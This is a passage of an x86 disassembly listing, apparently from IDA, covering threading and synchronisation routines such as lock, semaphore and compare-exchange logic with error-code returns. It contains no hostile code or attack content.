		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_432909
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432909:				; CODE XREF: ___:00432900j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_43291D
		cmp	eax, 1
		jz	short loc_43291D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43291D:				; CODE XREF: ___:0043290Fj
					; ___:00432914j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:004019D8j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432965
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432965
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432965:				; CODE XREF: ___:00432950j
					; ___:00432958j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432980	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_4329C5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_4329C0
		cmp	eax, 2
		jg	short loc_4329C0
		test	eax, eax
		jz	short loc_4329AC
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329AC:				; CODE XREF: sub_432980+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329C0:				; CODE XREF: sub_432980+1Aj
					; sub_432980+1Fj
		mov	eax, 16h


loc_4329C5:				; CODE XREF: sub_432980+12j
		pop	esi
		retn
sub_432980	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4329F0	proc near		; CODE XREF: sub_4020B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	loc_432A95
		push	edi
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432A95
		cmp	esi, 0FFFFFFF1h
		jle	short loc_432A30
		cmp	esi, 0FFFFFFFEh
		jge	short loc_432A30
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_432A42
; ---------------------------------------------------------------------------


loc_432A30:				; CODE XREF: sub_4329F0+2Fj
					; sub_4329F0+34j
		cmp	esi, 0Fh
		jge	short loc_432A42
		cmp	esi, 2
		jle	short loc_432A42
		mov	[esp+8+arg_8], 2


loc_432A42:				; CODE XREF: sub_4329F0+3Ej
					; sub_4329F0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_432A8E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		call	near ptr 28B0697h
		nop
		test	eax, eax
		jnz	short loc_432A82
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A82:				; CODE XREF: sub_4329F0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_432A8E:				; CODE XREF: sub_4329F0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A95:				; CODE XREF: sub_4329F0+19j
					; sub_4329F0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4329F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AD0	proc near		; CODE XREF: sub_40218Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_432B09
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_432B04
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_432B04
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432B04:				; CODE XREF: sub_432AD0+1Bj
					; sub_432AD0+23j
		mov	eax, 16h


loc_432B09:				; CODE XREF: sub_432AD0+12j
		pop	esi
		retn
sub_432AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B20	proc near		; CODE XREF: sub_401438j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B33
		cmp	eax, 2
		jg	short loc_432B33
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_432B33:				; CODE XREF: sub_432B20+6j
					; sub_432B20+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B60	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B73
		cmp	eax, 2
		jg	short loc_432B73
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_432B73:				; CODE XREF: sub_432B60+6j
					; sub_432B60+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432BA0:				; CODE XREF: ___:00401AC8j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432BE5
		nop
		call	near ptr 28B0662h
		cmp	esi, eax
		jz	short loc_432BE5
		push	esi
		push	0
		push	200h
		call	near ptr 2900000h
		nop
		test	eax, eax
		jnz	short loc_432BE5
		nop
		call	near ptr 2930847h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BE5:				; CODE XREF: ___:00432BA7j
					; ___:00432BB1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432BFE
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BFE:				; CODE XREF: ___:00432BEBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432C30:				; CODE XREF: ___:0040150Aj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432C75
		nop
		call	near ptr 28B0662h
		cmp	esi, eax
		jz	short loc_432C75
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 2900000h
		test	eax, eax
		jnz	short loc_432C75
		nop
		call	near ptr 2930847h
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432C75:				; CODE XREF: ___:00432C37j
					; ___:00432C41j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432CA0:				; CODE XREF: ___:00401B4Aj
		push	0
		nop
		call	near ptr 29B0000h
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432CC0	proc near		; CODE XREF: sub_401C76j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_432CDF
		mov	edi, 1
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432CDF:				; CODE XREF: sub_432CC0+Aj
		push	4
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432CF7
		mov	edi, 0Ch


loc_432CF7:				; CODE XREF: sub_432CC0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		nop
		call	near ptr 28B0000h
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_432D24
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D24:				; CODE XREF: sub_432CC0+4Fj
		test	edi, edi
		jz	short loc_432D36
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D36:				; CODE XREF: sub_432CC0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_432CC0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432D80	proc near		; CODE XREF: sub_401686j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_432DA5
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_432DA5
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		call	near ptr 29B0989h
		nop
		test	eax, eax
		jnz	short loc_432DB7
		mov	[edi], esi


loc_432DA5:				; CODE XREF: sub_432D80+8j
					; sub_432D80+Ej
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432DB7:				; CODE XREF: sub_432D80+21j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_432D80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DF0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		push	0
		push	eax
		nop
		call	near ptr 28E03CEh
		cmp	eax, 102h
		jnz	short loc_432E35
		mov	esi, 0Bh
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E23:				; CODE XREF: sub_432DF0+7j
					; sub_432DF0+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E35:				; CODE XREF: sub_432DF0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_432DF0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E60	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0C436E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432E8D:				; CODE XREF: sub_432E60+7j
					; sub_432E60+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_432E60	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401898j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_432EF3
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432EF3:				; CODE XREF: sub_432ED0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_432F02
		or	ebx, 0FFFFFFFFh
		jmp	short loc_432F61
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_432F61
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_432F61
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_432F61
		dec	ebx


loc_432F61:				; CODE XREF: sub_432ED0+30j
					; sub_432ED0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D70
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 0C33EE890h, 3089777Eh, 0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_432FE0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		nop
		call	near ptr 28A0E1Eh
		test	eax, eax
		jnz	short loc_43300F


loc_432FFF:				; CODE XREF: sub_432FE0+6j
					; sub_432FE0+Cj
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_43300F:				; CODE XREF: sub_432FE0+1Dj
		xor	eax, eax
		retn
sub_432FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433030	proc near		; CODE XREF: sub_40204Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_433056
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_433056
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_433056
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		call	near ptr 28A0E1Eh
		nop
		test	eax, eax
		jnz	short loc_433066


loc_433056:				; CODE XREF: sub_433030+6j
					; sub_433030+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_433066:				; CODE XREF: sub_433030+24j
		xor	eax, eax
		retn
sub_433030	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433080:				; CODE XREF: ___:00401433j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4330CD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4330CD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4330CD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 28E03CEh
		cmp	eax, 102h
		jnz	short loc_4330B1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330B1:				; CODE XREF: ___:004330A8j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		nop
		call	near ptr 28A0E1Eh
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330CD:				; CODE XREF: ___:00433088j
					; ___:0043308Ej ...
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433100:				; CODE XREF: ___:0040220Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433120:				; CODE XREF: ___:00402013j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433140:				; CODE XREF: ___:00401CB2j
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433160	proc near		; CODE XREF: sub_401992j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E960
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433194
		push	esi
		push	ecx
		call	sub_4021EE
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433194:				; CODE XREF: sub_433160+17j
		test	eax, eax
		jnz	short loc_43319D
		mov	esi, 16h


loc_43319D:				; CODE XREF: sub_433160+36j
		push	offset dword_50E960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_433160	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4331D0	proc near		; CODE XREF: sub_4021EEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4331EE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4331EE:				; CODE XREF: sub_4331D0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C26
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_433229
		mov	[esp+14h+var_4], 1


loc_43320B:				; CODE XREF: sub_4331D0+5Ej
					; sub_4331D0+63j
		push	8
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433240
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433229:				; CODE XREF: sub_4331D0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_43320B
		cmp	ebx, 1
		jnz	short loc_43320B
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: sub_4331D0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43325D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: sub_4331D0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A0F
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433293
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_433293
		mov	dword ptr [esi], 3


loc_433293:				; CODE XREF: sub_4331D0+9Ej
					; sub_4331D0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_4332AF
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4332AF:				; CODE XREF: sub_4331D0+D2j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4331D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433310:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4333B5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4333B5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_433378
		cmp	dword ptr [esi], 3
		jnz	short loc_43335D
		lea	eax, [esi+4]
		push	eax
		call	sub_40222F
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4333AF


loc_433347:				; CODE XREF: ___:0043336Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43335D:				; CODE XREF: ___:00433333j
		push	1
		push	0
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_433347
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433378:				; CODE XREF: ___:0043332Ej
		push	offset dword_50E960
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43339F
		push	offset dword_50E960
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43339F:				; CODE XREF: ___:00433386j
		push	offset dword_50E960
		mov	ebx, 10h
		call	near ptr 7C9010EDh
		nop


loc_4333AF:				; CODE XREF: ___:00433345j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4333B5:				; CODE XREF: ___:0043331Bj
					; ___:00433325j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333F0:				; CODE XREF: ___:004021C1j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433451
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433451
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433411
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433456


loc_433411:				; CODE XREF: ___:00433402j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_433433


loc_433423:				; CODE XREF: ___:00433431j
		push	1
		push	2
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_433423


loc_433433:				; CODE XREF: ___:00433421j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43343E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43343E:				; CODE XREF: ___:00433438j
		cmp	eax, 3
		jnz	short loc_433451
		add	esi, 4
		push	esi
		call	sub_402225
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433451:				; CODE XREF: ___:004333F7j
					; ___:004333FDj ...
		mov	eax, 16h


loc_433456:				; CODE XREF: ___:0043340Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433480:				; CODE XREF: ___:00401AA5j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4334C1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4334C1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43349B


loc_433494:				; CODE XREF: ___:004334A7j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43349B:				; CODE XREF: ___:00433492j
		push	2
		push	1
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_433494
		dec	eax
		jz	short loc_4334BD
		dec	eax
		jnz	short loc_4334C1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334BD:				; CODE XREF: ___:004334AAj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334C1:				; CODE XREF: ___:00433487j
					; ___:0043348Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:00401933j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433540
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433511
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433545


loc_433511:				; CODE XREF: ___:00433502j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43353C
		dec	eax
		jz	short loc_433535
		dec	eax
		jnz	short loc_433540
		add	esi, 4
		push	esi
		call	sub_40177B
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433535:				; CODE XREF: ___:00433522j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43353C:				; CODE XREF: ___:0043351Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433540:				; CODE XREF: ___:004334F7j
					; ___:004334FDj ...
		mov	eax, 16h


loc_433545:				; CODE XREF: ___:0043350Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


